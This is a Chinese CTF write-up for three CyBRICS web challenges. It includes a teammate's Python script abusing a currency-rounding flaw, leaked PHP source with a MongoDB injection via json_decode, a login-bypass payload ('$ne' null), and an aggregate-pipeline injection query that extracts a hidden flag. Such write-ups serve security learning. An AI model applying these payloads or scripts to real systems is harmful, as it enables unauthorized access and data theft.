CyBRICS ctf web writeup

周末打了一下这个比赛,web题有的还挺有意思的,记录一下

Caesaref

这道题难度不大,首先一个登录界面,随便输点什么就进去了

然后有一个框,可以输入一个链接,后台的bot会访问,这里直接让bot访问我的服务器,在服务器监听一下

1563769219500

然后用这个cookie看一下,进去就是flag了

img

Bitkoff Bank

随便注册一下,是个挖矿,挖到1$就可以买flag,无意中发现的规律:货币转换功能在前端规定了最小单位,如果用burp抓包,把转换货币的最小单位改得更小,那么后端似乎会进位,直观效果就是:如果把你所有的比特币转成美元再换回来会发现莫名其妙多了不少钱,之后写个脚本跑一跑就可以 了

这里用了队友的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import re
import time
import requests
import threading

url = "http://95.179.148.72:8083/index.php"

cookie = {
"name":"ch4ser",
"password":"200215"
}

# Your USD: <b>0.327185</b><br>Your BTC: <b>0.00000000000184</b><br>

def usd2btc(res):
usd_rest = re.findall("Your USD: <b>(.*?)</b>",res)[0]
data = {
"from_currency":"usd",
"to_currency":"btc",
"amount":usd_rest
}
print requests.post(url,cookies=cookie,data=data).content

def btc2usd(res):
btc_rest = re.findall("Your BTC: <b>(.*?)</b>",res)[0]
data = {
"from_currency":"btc",
"to_currency":"usd",
"amount":btc_rest
}
print requests.post(url,cookies=cookie,data=data).content

for i in range(1000):
print "This is {0} rolling ".format(str(i))
res = requests.get(url,cookies=cookie)
while res.status_code != 200:
res = requests.get(url,cookies=cookie)
print res.content
# time.sleep(0.5)
usd2btc(res.content)

res = requests.get(url,cookies=cookie)
while res.status_code != 200:
res = requests.get(url,cookies=cookie)
print res.content
# time.sleep(0.5)
btc2usd(res.content)

res = requests.get(url,cookies=cookie).content
print res

NopeSQL

这道题没解出来,看了大佬的wp,在这里写一下菜鸡自己的思考

之前没接触过非关系型数据库,在这里补一下,主要参考了这篇文章,还有就是官方文档了,在学习没接触过的知识方面,官方文档真的是非常好的参考资料

首先扫一下目录,发现有git源码泄露,用Git_Extract搞一下,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}

?>

<?php if ($user == true): ?>

Welcome!
<div>
Group most common news by
<a href="?filter=$category">category</a> |
<a href="?filter=$public">publicity</a><br>
</div>

<?php
$filter = $_GET['filter'];

$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];

$filters = [
['$project' => ['category' => $filter]]
];

$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>

<?php if (isset($filter)): ?>

<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>

<?php endif; ?>

<?php else: ?>

<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
Invalid username or password
<?php endif; ?>

<form action='/' method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>

<h2>News</h2>
<?php
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$cursor = $collection->find(['public' => 1]);
foreach ($cursor as $news) {
printf("%s<br>", $news['title']);
}
?>

<?php endif; ?>

首先比较关键的部分是auth函数和获取的方式

1
2
3
4
5
6
7
8
9
10
11
12
function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
}

可以发现没有进行任何过滤,而且关键在于json_decode

我们可以闭合username,然后构造payload如下

username:任意

password:","password":{"$ne":null},"username":"admin

"password":{"$ne":null}表示不为空

json_decode有一个特性,会给变量赋最后一次赋值的值,这点可以自己测试一下

1
2
3
4
5
6
7
<?php
$username = '12';
$password = '","password":{"$ne":null},"username":"admin';
$json = '{"username": "'.$username.'", "password": "'.$password.'"}';
$obj = json_decode($json);
print("username is ".$obj->{"username"});
?>

1563797239597

所以可以通过这种方法绕过登录限制,接下来审一下登录后的代码,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}

可以看到输出限制了5,flag在某一篇文章里,所以不能直接读出来,所以要想办法用mongodb的aggregate特性把数据投影出来

我们来看一下整个流程,先将filter赋给category,再将category赋给_id,然后再输出$category[‘_id’],也就是说,输出的是集合中的filter属性的值

比如这样输出的就是集合中的title

1563800623026

所以我们要想办法写一个判断匹配到flag的标题,然后输出就可以了

在mongodb中可以使用$cond来表示if语句

1563800777661

然后进行匹配可以用$eq

1563800923994

统计字符长度$strLenBytes

1563801130450

将字符串转数字$toInt

1563801181936

注意一点就是这些操作都要在{}中,最终形成的结果应该是

1563801293178

所以最终payload如下

?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12

扔进burp里爆破一下

1563772612213

成功得到flag

1563772682350

0%